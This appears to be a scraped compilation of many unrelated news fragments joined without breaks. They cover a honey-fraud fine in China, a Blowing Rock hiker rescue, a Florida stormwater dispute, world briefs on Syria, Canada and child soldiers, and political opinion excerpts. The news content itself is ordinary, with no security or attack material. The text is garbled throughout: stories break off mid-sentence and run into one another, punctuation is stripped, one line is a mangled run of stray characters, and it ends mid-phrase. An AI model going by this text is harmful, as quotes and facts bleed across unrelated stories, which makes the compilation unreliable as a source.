Counterfeit Bills, Drugs Found After Attempted Refund At Tractor Supply Four individuals from Baltimore were arrested June 16 in relation to the passing of counterfeit money and drug possession. According...

Third Street Log Cabin Moves To Colorado The log house located at 121 Third Street, known once as Zomerfelds Photography, is being dismantled and taken to Grand...This blog covers software patent news and issues with a particular focus on wireless, mobile devices (smartphones, tablet computers, connected cars) as well as select antitrust matters surrounding those devices.Beijing: One of China's most famous health brands has been banned from making honey and fined 14 million yuan ($2.9 million), after it was caught "recycling" expired honey into premium label jars for sale in supermarkets.

The blending of adulterated honey from China with Australian honey sparked a backlash against "fake" honey on Australian supermarket shelves last year.

The blending of adulterated honey from China with Australian honey sparked a backlash against "fake" honey on Australian supermarket shelves last year. Credit:Wolter Peeters

The problem of fake honey, mixed with sugar syrup, has also long plagued Chinese consumers and helped create demand for Tong Ren Tang's "quality" honey as an apparently safer choice in supermarkets.

Tong Ren Tang is the world's biggest traditional Chinese medicine producer and won its reputation as the royal pharmacy for the Qing Dynasty in 1723. The company has since expanded its Chinese herbal medicine stores to 21 countries, including Australia.When Labor's Barney Cooney, who died on Saturday aged 84, left the Senate he was a loss not just to the Senate but to the Parliament.

Colleagues of all persuasions come and go but rarely ones like Barney. If you want an example of what a decent, hard working, committed parliamentarian looks like, you couldn't do better than him.

Senator Barney Cooney photographed in 1997. Credit:Michael Rayner

Despite plenty of heated debates, it would be surprising if anyone could find one where he was personally nasty or sneering.

Labor always called on him in a tight spot. He could speak on anything and sound as though it was second nature and thus got the call for any urgent filibuster. When they had something tricky to sell or defend, Barney got the call.The European Union has warned a $100 billion trade deal with Australia is at risk unless they are able to resolve their disputes over key products such as prosecco and feta and called on the Morrison government to reveal the full list of products holding back the deal.

Speaking ahead of a meeting with Trade Minister Simon Birmingham in Canberra on Wednesday, the EU's Agriculture Commissioner Phil Hogan said it would be "unthinkable for the EU and Australia not to be able to do a trade deal".

"There will be no deal between Australian and the EU unless we are able to resolve these issues," he said in an interview in Parliament.

European Commissioner for Agriculture and Rural Development, Phil Hogan, in Canberra on Wednesday. Credit:Dominic Lorrimer

Mr Hogan said Australian producers needed to accept that they were going to lose the right to use some European names as part of a bigger deal.Federal authorities were warned years ago that an Evangelical pastor at the centre of a fresh sex abuse scandal was using his church as a "money-making machine" that left countless members broke or saddled with debt.

The Age revealed on Monday that the late Neil Thomas, the founder of Melbourne-based Neil Thomas Ministries, had been accused by former members of sexually abusing them while they worked as his secretary in the 1990s and 2000s.

But while three women  Lisa, Julie and Jenny*  have now taken legal action against the family-run ministry, it can also be revealed that claims of financial abuse have plagued the Pentecostal pastor for decades.

Julie and Lisa are supporting one another, and seeking information from more women in the church. Credit:Justin McManus

Former federal Labor MP Kelvin Thomson recalls being forced to intervene more than 20 years ago, when a constituent risked losing his home after agreeing to be a guarantor for a bank loan that Neil Thomas had failed to repay. The man had done so at the time because hed been told that the money would be used to set up a business and its earnings reinvested into the church.Managing Editor

Delphine Luneau is a veteran journalist with more than 20 years of experience. She was the editor of Suburban Life Media when its flagship was named best weekly in Illinois, and she has worked at papers in South Carolina, Indiana, Idaho and New York.Up for debate:

Live legislation tracker

Check out the latest developments on bills pending before state lawmakers in four key topics.Regional Editor

Derek Draplin is a regional editor at The Center Square. He previously worked as an opinion producer at Forbes, and as a reporter at Michigan Capitol Confidential and The Detroit News. Hes also an editor at The Daily Caller.News

Blowing Rock fire chief describes search for missing hiker

Blowing Rock crews rescue hiker missing for 29 hours

Photo by Thomas Sherrill Trucks from several different agencies stage at the Blowing Rock Fire Department on Valley Boulevard on Sunday, Feb. 10. Photo courtesy Boone Police Frank Sanady, 67, of Charlotte, was rescued from the China Creek Trail area on Sunday, Feb. 10, after spending a night in sub-freezing temperatures. Photo by Thomas Sherrill A Blowing Rock Fire and Rescue truck is parked at the entrance to China Creek Trail near the L.M. Tate Showgrounds on Laurel Lane on Sunday, Feb. 10. Photo courtesy Boone Police Frank Sanady is loaded into a Caldwell ambulance by rescuers at the Laurel Lane entrance to the China Creek Trail on Sunday, Feb. 10, after spending 29 hours lost in the area.

BLOWING ROCK  Blowing Rock Fire and Rescue Chief Kent Graham credits a team of locals with locating and rescuing a missing Charlotte hiker who was lost in the steep and rugged terrain off the China Creek Trail west of Blowing Rock from Feb. 9-10.

Frank Sanady, 67, of Charlotte, reportedly entered the China Creek Trail around 12 p.m. on Saturday, Feb. 9. Interim Blowing Rock Police Chief Aaron Miller said that when his wife went to pick him back up late in the afternoon, Sanady wasnt there. The call came in at 6:36 p.m., according to Watauga dispatchers.

The China Creek Trail begins at a marked trailhead on Laurel Lane in Blowing Rock and descends several hundred feet in elevation, ending on Johns River Road. The trail, which has extremely rugged terrain, is located in Pisgah National Forest. Conditions were overcast and above freezing on Saturday, Feb. 9, going down into the low 20s overnight.

Graham said that his local Blowing Rock teams were physically spent after the rescue operation.

This trail is not walking around Bass Lake, Graham said. If you do not know what youre doing, its not a joke. Its rough terrain, its wilderness. We have some ever-changing, diverse weather patterns. If youre not geared up for it, not physically capable or experienced, its not a joke.

Its a very strenuous trail, Miller said. I think it drops around 1,500 feet in elevation. It goes straight off the hill into the Globe area.

Graham said that the trail has several downed trees from various weather events and many of them cant be climbed, requiring hikers to go off trail. Graham said that Sanady lost the trail and ran out of daylight.

Starting after nightfall on Saturday, Feb. 9, crews were quickly assembled to search the trail for Sanady, who was described as an experienced hiker.

When Sanady did not return by early evening, Blowing Rock Emergency Services were notified and launched a search and recovery operation, said Boone Police Sgt. Shane Robbins, who was helping with public information for the search, said in an early Feb. 10 evening statement.

The weather that was moving in wasnt the most pleasant hiking conditions, Graham said. We had search teams out doing a hasty search pretty much all night. Then we were looking with drones with thermal imaging technology and we were utilizing a dog search team out of Linville Central Rescue. We responded to areas and coordinates where the dog was hitting off trail and also where there were some heat signatures from the thermal imager.

Graham said that search efforts were halted around 4-5 a.m. and resumed at 9 a.m.

We came back to develop a strategy, Graham said. We have several people on staff who are trained in incident management teams. We put those people together at 5 a.m. We were helped tremendously by Caldwell Emergency Management and put together an incident management plan that we began at 9 a.m. so we can get out there in daylight.

Graham said they put together three teams in three different sections of China Creek Trail. Each team was going off trail using a wide-area search. Graham said there happened to be a mountain rescue team class being taught in Spruce Pine, who were brought in and staged at the trailhead.

Weather conditions were deteriorating throughout the day on Sunday, Feb. 10, with periods of rain and temperatures dropping, resulting in mild sleet and minor ice buildup above 3,500 feet.

One of the local search groups included Blowing Rock Fires Deputy Chief Matt McGuire, plus two BRFD volunteers in Matt Blackburn and Mark Presnell, both Blowing Rock Public Works employees.

One used to be land surveyor and the other is a hunter who is familiar with the area, Graham said.

They went in and by 11:30 a.m., they had located (Sanady), Graham said. He was about 1,500 feet off trail and its very rough and very thick and very steep terrain. They made voice contact, then confirmed (it was him and) they were able to close in, then eventually made it to him.

Graham said that the incident management team was about ready to deploy more teams into the area when Sanady was located.

We had a whole lot of people ready to roll, Graham said.

Helicopter extrication wasn't available, requiring search teams to help him out.

Graham said that McGuire, BRFD Captain Jason Potter and Alex Smith, a former Blowing Rock staff member who now works for Caldwell County Emergency Management, went to the location and initiated paramedic-level care.

They started an IV, gave him fluids, got him on his feet, assisted him back to the trail where they intercepted the mountain rescue team and transferred care to that team, Graham said. (The mountain rescue team) chose to extract him through the top back up to the trailhead.

Sanady was brought out at the Laurel Lane entrance and into a waiting Caldwell ambulance at 5:10 p.m. Graham said that Sanady was treated for exhaustion, fatigue and mild hypothermia, then released.

Graham credits Sanadys experience for his ability to survive with no lasting injuries.

(Sanady) basically said that his MO was to keep moving, Graham said. (Sanady) said that he did rest and doze off for 15 minutes around 4 a.m., but was trying to move even if it was ever so slowly to stay warm and generate heat.

Graham recommends that hikers adequately prepare for their trips and not to hike alone.

I guess the message is that these mountains are tough, Graham said. If youre going to be involved in that kind of recreation, know that when this kind of thing happens, it impacts so many lives, is so much money and such a large-scale operation, when a little bit of prep can go a long way.

Blowing Rock Fire and Rescue led the search, according to Miller. Also involved were Blowing Rock Police, Boone Police, Watauga County Emergency Management, Caldwell County Emergency Management, Collettsville Fire Department, Linville Central Rescue, Granite Falls Fire Department, Blue Ridge Parkway rangers, the U.S. Park Service, N.C. State Parks, N.C. Wildlife Resources Commission, N.C. Emergency Management and Jordan Nelson with Nelson Aerials.

Linville Rescue provided a K9 team and Granite Falls Fire Department provided a drone equipped with thermal imaging capabilities. Jordan Nelson of Nelson Aerials also provided drone assistance, Miller said.

While it was ultimately handled internally with Blowing Rock Fire resources, there were hundreds of people involved in supporting it, Graham said.

Graham was also thankful for the mutual aid that Blowing Rock Fire and Rescue get from all over North Carolina as part of statewide mutual aid agreements, noting that Blowing Rock crews have helped in the aftermath of Hurricanes Matthew and Florence under the same agreements.Trusted local news has never been more important, but providing the information you need, information that can change sometimes minute-by-minute, requires a partnership with you, our readers. Please consider making a contribution today to support this vital resource that you and countless others depend on.Success! An email has been sent to with a link to confirm list signup.Come join us in the remembrance of Timothy Alvin Hill who passed away Dec. 20, 2020. The Celebration of Life will be held June 26 at Eastside Park Kiwanis Cabin in Washington at 3 p.m.Witts alleged betrayal, officials said, was as personal as it was damaging  threatening a sensitive operation that to this day authorities will not detail, and putting her former co-workers squarely in the crosshairs of a foreign adversary. Witt, according to the indictment, was desperate to share the information she had and get away from the United States. Text messages, disclosed as part of the indictment, show her contemplating approaching the anti-secrecy group WikiLeaks and Russia after Iran, apparently skeptical of her motives or credibility, was slow to accept her alleged overture.I think we got too used to the idea during the Obama administration and the Bush administration that the only way to solve the challenge of Iran is through six countries, he said. And that six countries need to be at the adult table, and everybody else is at the kids table.It focuses more narrowly on the plight of the womens rights advocates, notably on allegations that at least 10 of the women have been severely abused while in custody. The resolution calls on the U.S. government to continue publicly and privately demanding the release of individuals wrongfully detained.The proposed amendments would extend the presidential term from four to six years while allowing Sissi to run for two additional terms. If they are passed, many pro-democracy activists and critics fear that Sissi would be able to remain president almost indefinitely. Once approved, the constitutional amendments would have to be put to a national referendum.Some of the Islamic States most die-hard fighters are pinned down in Baghouz, a remote hamlet nestled on a bend of the Euphrates River close to the Iraqi border. There is only one path out of what they once called the caliphate, snaking through the green grass and flowers of eastern Syria. No longer spanning an area the size of Britain, their territory is now visible in its entirety from hills that surround it, covering no more than a square mile.Nobody likes construction, but some streets are more difficult than others.

Last Friday, Town staff held a public walk-through to address some unique concerns residents have raised on Aberdeen, Dundee, and Lauder.

The neighborhood has been the site of a stormwater design dispute since last summer, when a property owner advocated for a change of plans.

One design, which was already permitted, had the pipes go down Aberdeen, cut across Lauder, and turn up Dundee street, draining into the bay off Dundee.

Of course, everyone said the only thing to do is just go straight down Aberdeen, because we already have a pipe there, so we need to just widen that, said Georgia Shakti-Hill, who lives at the corner of Lauder and Dundee.

But according to Town Manager Roger Hernstadt, its not that simple, because they would need to widen the existing pipe from 24 to 30 inches.

The problem is that utility easement we own there is not wide enough. And, while an owner might give us a bigger one, that person happens to have a structure over that easement, so wed have to knock down that structure, he said.

The structure, a boathouse, is non-conforming, meaning the property owner would not be able to get a permit from the town to do any construction on it under current code, and if it was torn down, it would not be allowed to be rebuilt.

Hernstadt said they didnt expect the owner to grant the town permission to demolish the boathouse under these circumstances.

Dundee has an outlet right behind our home, and into the canal, and then it has two outlets at the end of Dundee. So perfect, never floods, Shakti-Hill said.

She claimed that engineers did not account for these outlets at the end of Dundee, and based their plan off incorrect information.

Brett Messner, an engineer from TetraTech, has refuted that claim.

Weve known about those outfalls the entire time, he said.

Dundee is a donor street  a dry street that can handle the extra flow from Estero Boulevard where wetter streets cant.

If the streets already flooded, then youre adding the water coming off Estero Boulevard to that street. The pipes not going to be big enough, so you have to go to donor streets, which are your dry streets, to handle that pipe to take the overflow from Estero and the units that flood, said Councilmember Dennis Boback.

Last summer, the Town put the two design options to a vote, sending out surveys to 36 residents regarding their preferred plan.

The survey told residents that the alternative plan would have removed upgrades to the water and storm drainage system on Lauder and Dundee, and widened the pipe on Aberdeen instead.

Twenty of them responded, with the votes split evenly.

When the results were brought to Town Council at a planning meeting last September, a consensus was reached to continue with the original design.

Town Manager Roger Hernstadt told council that permitting the alternative plan with the South Florida Water Management District and the Army Corps of Engineers would result in long delays for the entire project.

At the end of January, surveyors tagged items in the right-of-way on Aberdeen, Lauder, and Dundee streets that would need to be removed.

Among these were some of Shakti-Hills live oak trees, which are protected by law.

Kaye Molnar, spokesperson for the project, said not everything thats tagged gets removed, and they do their best to work around trees.

In the time we have been doing this, the only trees we have taken out of the right-of-way have been on Connecticut. They were actually dead to begin with, she said.

Last Friday, Town staff met with the contractors, engineers, and nearly 25 residents at a walk-through of the neighborhood to identify what had to be removed.

The Town hired Phil Buck, an arborist, to assess the oak trees.

We dont want to trim more than we have to, he said, advising minimal cuts to the trees limbs.

He said that pruning the trees would not affect their health, and that some already showed signs of rot.

But Shakti-Hill still has concerns for her trees, and has reached out to the Live Oak Society for help.

She wants to have the street defined as a Live Oak Sanctuary, and she hopes to do it before construction on the stormwater pipes begins this summer.

Across the street from Shakti-Hill and her oaks, Robert Rodriguez struggles with a garage built on low ground that floods during heavy rains.

He asked what could be done to help his situation, and was pleased with the way the contractors answered his questions at the walk-through.

It was very informational, he said.

Hernstadt sees the construction  and the unrest that comes with it  as part of the towns growing pains.

Were upgrading the infrastructure of the town for the next 75 years, he said.

My street is being worked on, and my car is dirty, you know, but its not the end of the worldits just part of the town growing up.

Construction on Aberdeens waterlines has already begun, with stormwater improvements set to begin in the neighborhood this summer.Were doing our job. I think this shouldnt be posted anywhere else, because thats basically our weapon  our identity. Do you get that? the officer said. Can you stop doing what youre doing now? Is it okay? Tell this to your colleagues. Because, definitely, if we see our faces on the Net, youll be sorry. Youve been warned. Well go after you.The Thai Raksa Chart party took an extraordinary political risk on Friday when it put forward Ubolratana as its candidate. Her candidacy, if allowed by Thai authorities, would have marked an unprecedented turning point for Thaksin and his allies, who have been accused of being anti-monarchy in a country where the royal family is deeply revered. It would also have marked the first time that a member of the royal family was directly involved in politics.While we consider it necessary to bring to account those who are responsible for the loss of confidence in the vaccination program . . . it is more important for all of us to come together to support the efforts to get our children vaccinated as quickly and completely as we can, said Esperanza Cabral, a former health secretary and co-organizer of Doctors for Truth and Public Welfare.Into this picture comes Commerce Secretary Wilbur Ross, who was to arrive in New Delhi for his first official visit to India. On Thursday, he was supposed to confer with his Indian counterpart, but because of a flight cancellation, he will participate remotely. A contingent of 20 chief executives of American firms is still expected to attend a forum with Indian business leaders. They are likely to underline the potential to boost trade in areas such as energy and aviation.I look prospectively on how we can do better moving forward, he said. There are too many people here that see their path forward as more destructive than constructive, and that is exactly how I think we should all behave. I dont want to see anybody ostracized unless they are frankly deserving of it, and I think she deserves another chance, and I encourage that, but it also takes a commitment, and thats what I asked for.According to a recent news report, Mohammed also told a top aide in 2017 that he would use a bullet on Khashoggi if he did not return to the kingdom and end his criticism of the government. The conversation, which was picked up by U.S. intelligence agencies, was first reported by the New York Times on Thursday. After it was published, a Saudi official contacted the CIA and relayed that the crown prince was livid about the news report, according to a U.S. official who spoke on the condition of anonymity to describe classified information.Barr, who previously served as attorney general during the George H.W. Bush administration, has a record that breaks with Democratic Party positions in other areas, particularly concerning criminal justice policy. He oversaw a crackdown on drug crimes during the 1990s by instituting harsh punishments that last years criminal justice legislation sought to mitigate. He has promised, if confirmed, to implement the new bills and explained that in his prior tenure as attorney general, he was doing what he thought best at the time.You can feel it now. In Congress, it has started to shift. It has started to shift. Were not there yet. Were not all the way there, but it has started to shift, Sen. Elizabeth Warren (D-Mass.) said at a presidential campaign event Sunday night in Davenport, Iowa, when discussing her support for the Green New Deal. Weve got new energy in this. Weve got new blood in this. Weve got new ideas in this. No one is saying theres a single silver bullet thats going to fix the whole problem. Whats happening is people are coming up with lots of pieces.The United States of America stands with Poland in the most successful mutual-defense alliance in the history of the world  an alliance that each of you serves to uphold and defend  the North Atlantic Treaty Organization, Pence said as he met Polish President Andrzej Duda and addressed armed forces from Poland and the United States. Under President Trump, the United States will always put the security and prosperity of America first. But as the president has made clear  and as all of you prove every single day  America first does not mean America alone.Ive noted with great interest the Green New Deal, McConnell told reporters at the Capitol on Tuesday afternoon. And were going to be voting on that in the Senate. Well give everybody an opportunity to go on record and see how they feel about the Green New Deal.I have the good fortune of having the DNA of an Arab, of Lebanese, and the gift of freedom of an American, said Barrack, whose grandfather emigrated to the United States from a city that was formerly in Syria and today is part of Lebanon. But, weve done a bad job as Arabs at communicating who we really are, especially to the West.We reject Blums argument that race is irrelevant in our society, knowing that is another kind of lie. We also know that Blums preferred admissions process would leave Harvard far less diverse, with fewer students from under-resourced segments of the Asian American community. But while Harvard gets the need for holistic admissions right, it is failing in ethnic studies. As recently as the fall semester of 2017, with around 1,300 Asian American students on campus, not one Asian American studies course was offered.If Agnew and Nixon had succeeded in derailing our investigation, the most corrupt man ever to sit a heartbeat away might have become the president of our country when Nixon was forced to resign less than a year later. But our investigation was protected  first, by our staunch and courageous boss, the late George Beall, the U.S. attorney for Maryland and a prominent Maryland Republican, and second, by the man who had become the new U.S. attorney general that spring, Elliot L. Richardson.Under the U.S. governments annual Trafficking in Persons report, Saudi Arabia, on a Tier 2 Watch List, was due for an automatic downgrade in 2017 to Tier 3, the worst category, but the Trump administration instead protected the country with waivers in both 2017 and 2018. Now the waivers are expiring, and the administration has to decide whether to put Saudi Arabia back in Tier 3, which would cut aid, or claim, implausibly, that the kingdom is making significant efforts.Teddy Roosevelt must be spinning in his grave. As U.S. Civil Service commissioner in 1889, Roosevelt led the effort to eliminate the old spoils system of federal employment. He helped create our modern, professionalized civil service system, making the award of jobs based on what you know, not who you know. As the U.S. government has grown in complexity, it is even more important to ensure that a merit-based personnel system is how we self-govern and balance the realities of so many more political appointees and the expansion of talented career civil service we need. Now, thanks to the Trump administration, that system, and with it our democratic system of government, is in danger.I attended the Disability Integration Act reintroduction ceremony as a member of Little Lobbyists, a parent-led organization of families with children with complex medical needs and disabilities. As Elena Hung , the co-founder of Little Lobbyists, said at the ceremony, We want to make sure [our children] have the support in place to live the best lives and maximize their independence in the community and be here with us and not in institutions far away.Stephen Biegun, Trumps special envoy for North Korea, offered a frank account in a Jan. 31 speech at Stanford University. North Korea has given us little indication that they have yet made the decision to completely dismantle and destroy that [nuclear] capability. We all know that. The challenge, he said, is to change the trajectory of their policies by changing the trajectory of our own.China has sought for years to assimilate the Muslim Uighur population into the majority Han Chinese, partially by flooding Xinjiang province with migrants from elsewhere. But the effort to crush the population has picked up speed under President Xi Jinping, whose government set up an archipelago of bleak outposts for carrying out forced indoctrination, to eradicate the Uighur language, traditions and culture. At first, China denied these camps existed; then China admitted that they exist but claimed they are for re-education and vocational training. As eyewitnesses have verified, the real purpose is much darker, to coerce the detainees to give up their language and culture. Experts have said more than 1 million Uighurs are now detained, out of a population of more than 11 million. Dolkun Isa, president of the World Uighur Congress, told us there may be 2 million or more imprisoned, based on word leaking out to Uighur families and those who have been released.Democrats are going to have an even harder time separating themselves from the Green New Deal introduced by Rep. Alexandria Ocasio-Cortez (D-N.Y.) and Sen. Edward J. Markey (D-Mass.). It addresses an urgent problem  global warming  but does so with an impractical, indeed fantastical, approach. It promises to upgrade every single building in the country and to achieve net zero emissions within 10 years  without using nuclear power. (Even Sweden isnt trying to achieve net zero until 2050, and it relies heavily on nuclear plants.) As if that overambitious goal werent enough, the legislation also guarantees everyone in the United States a job with a family-sustaining wage, adequate family and medical leave, paid vacations, high-quality health care, higher education, and affordable, safe and adequate housing. A fact sheet released along with the bill even promised to build high-speed rail at a scale where air travel stops becoming necessary and to provide economic security for all who are unable or unwilling to work.An Ocasio-Cortez adviser claimed that the document was fake, and when that ploy was laughed off cable news, Ocasio-Cortez and her chief of staff tried to convince Twitter that the FAQs most risible parts were fake; or if not fake, misconstrued; or if not misconstrued, part of a brainstorming document that had never been intended for publication, and the fact that theyd sent it to major media outlets was no reason to believe that they meant it.SYRIA

U.S. reports airstrike on ISIS-held mosque

The U.S. military said Tuesday that it struck a mosque being used as an Islamic State control center, as American-allied Syrian forces battled the group in its last bastion in eastern Syria amid reports of civilian casualties.

The U.S.-led coalition said warplanes struck the mosque in the town of Baghouz on Monday in support of the Kurdish-led Syrian Democratic Forces. It said the Islamic State was using the site to direct attacks and launch car bombs against the SDF.

Meanwhile, Syrian state media reported that about 70 people were killed or wounded in a coalition airstrike on the edge of Baghouz. It said the strike hit a settlement where hundreds of people were taking shelter.

The Britain-based Syrian Observatory for Human Rights said seven children and eight women were killed late Monday in an airstrike near Baghouz. It was not immediately clear if it was referring to the same event.

Col. Sean Ryan, a coalition spokesman, said officials were aware of reports of alleged civilian casualties. He added that there are multiple actors conducting strikes within the area, so we are looking into it.

 Associated Press

CHILD SOLDIERS

Recruitment numbers up sharply, report says

The number of child soldiers, especially girls, found being recruited around the world has risen dramatically in recent years, as armed conflicts that target children have intensified, a leading agency says.

Cases of girls found used by armed groups jumped fourfold last year from the year before to nearly 900, though the actual figure is likely far higher, said Child Soldiers International, a London-based rights group.

Children are recruited as fighters, informants, looters, messengers and spies, and are used as domestic and sexual slaves, CSI said. They are particularly vulnerable in conflict-torn nations in the Middle East as well as in South Sudan, Congo and the Central African Republic.

In sum, more than 29,000 cases of children recruited as soldiers were verified from 2012 to 2017 in 17 countries, CSI said.

The figures more than doubled to about 8,000 cases in 2017 in 15 countries from some 3,000 in 12 countries in 2012.

 Reuters

CANADA

Minister for veterans affairs quits cabinet

Veterans Affairs Minister Jody Wilson-Raybould, Canadas former justice minister, announced she was quitting Prime Minister Justin Trudeaus cabinet, a move that follows allegations that his office pressed her to avoid prosecuting a major Canadian engineering firm.

Wilson-Raybould, demoted from the post of justice minister last month, announced her resignation in a letter. It did not offer a reason for her departure.

The Globe and Mail reported last week that Trudeau or his staff pressured Wilson-Raybould to arrange a deal with SNC-Lavalin to let it avoid criminal prosecution on allegations of corruption involving government contracts in Libya.

Her departure is a potential blow to Trudeau as he faces reelection this year. He has denied the papers allegations.

 Associated Press

French premier decries anti-Semitic acts: French Prime Minister Edouard Philippe is promising a tough response after anti-Jewish graffiti appeared in Paris streets over the weekend and a tree in memory of Ilan Halimi, a young Jew murdered and tortured in 2006, was cut in two. "These acts are disgusting," Philippe told Parliament. Interior Minister Christophe Castaner said Monday that anti-Semitic acts rose 74 percent in 2018 to 541 from 311 the previous year, including 81 violent ones.

Former Slovakian premier drops judicial bid: Robert Fico, the head of Slovakia's main ruling party who was ousted as prime minister last year by anti-corruption protests, has given up a bid to lead the country's top court. Fico withdrew his bid to chair the Constitutional Court after a junior partner in the three-party governing coalition refused to back him.

Megaliths started in Brittany, new study says: A new study suggests the practice of building huge stone monuments spread throughout ancient Europe from northwest France. The findings challenge theories that megaliths originated in the Middle East or developed independently in various parts of Europe. Megaliths have long fascinated archaeologists because of the skill and effort needed to build sites such as Stonehenge.

 From news serv icesAn item performed by overseas Vietnamese children at the event (Photo: VNA)

Speaking at the event, Mr. Huynh Cong My, President of the General Association of Overseas Vietnamese in Belgium, hoped that overseas Vietnamese in Belgium will continue to be united to preserve and spread Vietnamese culture, creating a common strength to protect the interest of the Vietnamese community in the country and creating favourable conditions for about 14,000 people to integrate into the local society but still preserve the cultural identity and good customs of Vietnamese people.

Vietnamese Ambassador to Belgium Vu Anh Quang wished the overseas Vietnamese a lucky and happy new year, and confirmed that Vietnams consistent policy always considers overseas Vietnamese as an integral part of the nation. He emphasized that one of the main tasks of the Vietnamese Embassy in Belgium is to help overseas people integrate well into the host society, preserve the national cultural traditions and look toward the homeland.

Ms. Fadila Laanan, Cultural Minister of French-speaking Community, shared that she was very pleased to attend the event welcoming the Lunar New Year of the Vietnamese community in Belgium.

During the event, participants had an opportunity to enjoy a traditional art program performed by artists from Ho Chi Minh City with national music instruments./.TEXAS

Children found locked in barn and dog cage

Deputies on Tuesday discovered two malnourished children crammed into a locked dog cage and two more smeared with feces and urine in a barn in northern Texas.

The barn was crudely fashioned into living quarters, Wise County Sheriff Lane Akin said, adding that all the children were hungry and thirsty around 7:20 a.m. when deputies responding to a domestic disturbance found them on the property near Rhome, about 20 miles north of Fort Worth.

There was plenty of food inside the barn, but the refrigerator and the cabinets had been locked so the kids could not get in to get food, Akin said. There were three boys, ages 5, 3 and 1, and a 4-year-old girl.

The oldest two were locked in the cage that was about three feet by three feet, and the other two were filthy and only partially clothed, Akin said. The children were taken to hospital in Fort Worth for evaluation.

Deputies were speaking with a man and a woman, both 24, when they heard childrens voices coming from the barn, Akin said. The woman is the mother of all four children, and the man is the father of one, he said. A fight between the two brought deputies to the home, and the man had cuts on his face. They were arrested and each charged with four counts of child endangerment.

 Associated Press

MISSOURI

Planned Parenthood fire is suspected arson

A fire at a Planned Parenthood clinic in Columbia, Mo., was intentionally set and is being investigated as a possible hate crime, the FBI said in a statement Tuesday.

The agency also said it is offering a $10,000 reward for information leading to an arrest and conviction of anyone responsible for the fire early Sunday.

The FBI said surveillance video shows a person wearing dark clothing entering the Planned Parenthood-Columbia Health Center about 4:05 a.m. Sunday.

When that person later walked out of the clinic, smoke could be seen coming from the building, according to the agency.

No one was inside the building when the fire was reported. Its sprinkler system extinguished the fire before firefighters arrived.

The clinic remained closed Tuesday. Planned Parenthood Great Plains said the building sustained limited damage and crews are working to reopen it as soon as possible.

 Associated Press

SOUTH CAROLINA

Soldier gets 18 months in fatal training mishap

A U.S. Army drill sergeant who said he was exhausted and working on four hours of sleep on the orders of his superiors will serve 18 months in prison for killing two recruits during a training accident at Fort Jackson in South Carolina.

Staff Sgt. Andrew Marrow was sentenced Tuesday, a day after he pleaded guilty in a military court to dereliction of duty and negligent homicide.

Marrow was driving a truck hauling a water tank behind a group of marching soldiers on Oct. 6, 2017, when he fell asleep with his foot on the accelerator. The truck hit eight soldiers, prosecutors said.

Pvt. Ethan Shrader of Tennessee and Pvt. Timothy Ashcraft of Ohio were pinned beneath the vehicle and died.

Marrow, an Iraq War veteran with a spotless military record, asked for forgiveness before he was sentenced, according to media reports.

The State newspaper reported he was in tears as he recounted seeing the recruits under his truck.

During his guilty plea Monday, Marrow said he was at the base until 9 the night before the wreck and got little sleep before returning. He said he fell asleep twice before the wreck.

The military judge, Col. Charles Pritchard of Fort Bragg, handed down a 22-month sentence for Morrow, but a pretrial agreement from both sides was for an 18-month sentence.

Marrow will be discharged and demoted to private.

Tiger found in cage in Houston home: Houston police said some people who went into an abandoned home to smoke marijuana found a caged tiger. They called the city on Monday and the major offender animal cruelty unit and animal shelter volunteers arrived on the scene. Officials told KHOU-TV the tiger was well fed. But the cage was secured by a nylon strap and screwdriver, which could easily open and the tiger could have gone on a "rampage." The tiger was taken to an animal shelter, then it was transferred to an animal sanctuary in Texas on Tuesday. It's legal to own a tiger in Texas if the owner has a wild game permit. But it is illegal to have a tiger in Houston.After undergoing a battery of physical and psychological tests, she underwent surgery over nine hours on Feb. 24, 2016. The transplant was meant to be temporary, intended to give her a chance to have one or two pregnancies via implanted embryos, with deliveries by Caesarean section. Then doctors would remove the organ so she would not have to take anti-rejection drugs for the rest of her life.Officials at the high school and the Diocese of Covington initially were among those who condemned the boys actions. However, after a fuller picture of the encounter emerged in other video clips, including a clip in which Sandmann appears to try to calm a fellow student, the diocese commissioned an independent firm to interview the students and their chaperones, locate third-party witnesses, review social media posts and news articles, find any additional video of the standoff and determine exactly what happened.Strategists worry that leaving the three top Democrats in office, each man damaged, will only help Republicans. Northams diminished status wrecks his ability to raise money for state Democrats who will launch into fundraising mode in earnest by the end of this month. Democratic 2020 hopefuls looking to attack what they call the racist and sexist attitudes of President Trump are dreading having to answer for the trio of albatrosses in Virginia, an important state in a presidential year. Meanwhile, Fairfax and Herring had both nurtured hopes of running for governor in 2021, but it is unclear whether either can launch a viable campaign.The bill is similar to one vetoed last year by Northam, except that the earlier version required a majority of the General Assembly to approve any initiative. The 2019 bill calls for a two-thirds majority vote from each chamber before any participation can take place. Supporters said Virginia is doing fine at reducing its greenhouse gas emissions without joining a regional consortium that and states that regulate cap-and-trade have higher energy prices.Im not saying that intentions dont matter, but Im saying that outcomes matter more, Tyson said. Im saying this as someone who loves giving hugs. My mom loved giving me hugs as a child, but that doesnt mean that that gives me license to just run around hugging people against their will. My intentions may be good, but I have to respect other people and what they want. If I forget and accidentally hug you, its on me to apologize and try to make it right.The Centers for Disease Control and Prevention said in a report this week that 4.9 million middle and high school students were current users of some type of tobacco product in 2018, up from 3.6 million in 2017. Almost 21 percent of middle and high school aged students have tried e-cigarettes. Another study, published this month in the scientific journal JAMA Network Open, said young people who use e-cigarettes are more likely to become smokers later, and many of them would not have otherwise used cigarettes.We need to be truly slow and deliberate about anything we do, but I dont think you can foreclose that [as] an option, Cox said during a break in the floor proceedings Wednesday. Now what form that takes  as far as an investigation, impeachment  you have to look at very carefully, but I think thats something were going to have to look at and keep our options open.Townsend said the motorist advocacy group has heard complaints from drivers who said they got a speeding ticket when no one appeared to be in the camera-mounted vehicle. Others complained of not seeing any road signs warning of cameras in the area. Both of those legal requirements, Townsend said, make Maryland a national model for speed-camera enforcement to make construction zones safer.They saw each other at their 20th high school reunion, but it was awkward and brief. That connection was still there  an electricity in the air between them, a ripple of soundless music  but they were both married to other people. John had three kids..   11   ,    ,   ,   .     ,       1%,    ,   ,       ,         ,    10    .      ...I think if you dont have this in your life, you really dont know how it feels to be on the battlefield day in and day out and how exhausting it is, McCabe said. If Andrew is already living in an integrated community that Caitlyn is also part of, when its her time to take over and think about whats best for him, shes not going to be as drained.All of the likes someone gets really does activate those reward centers [in the brain], Alinsky said. Its an area that needs more research to characterize and treat it. Phones and social media will probably only become more prevalent, so we need to better understand how to use these apps in a safe way.At this time, it does not appear that the defendant is able to make reasoned choices regarding his plea options nor is he able to consult with defense counsel in a rational manner. There is nothing to suggest the defendant would be able to modulate his behavior in the courtroom, she wrote.Dale Blvd. and 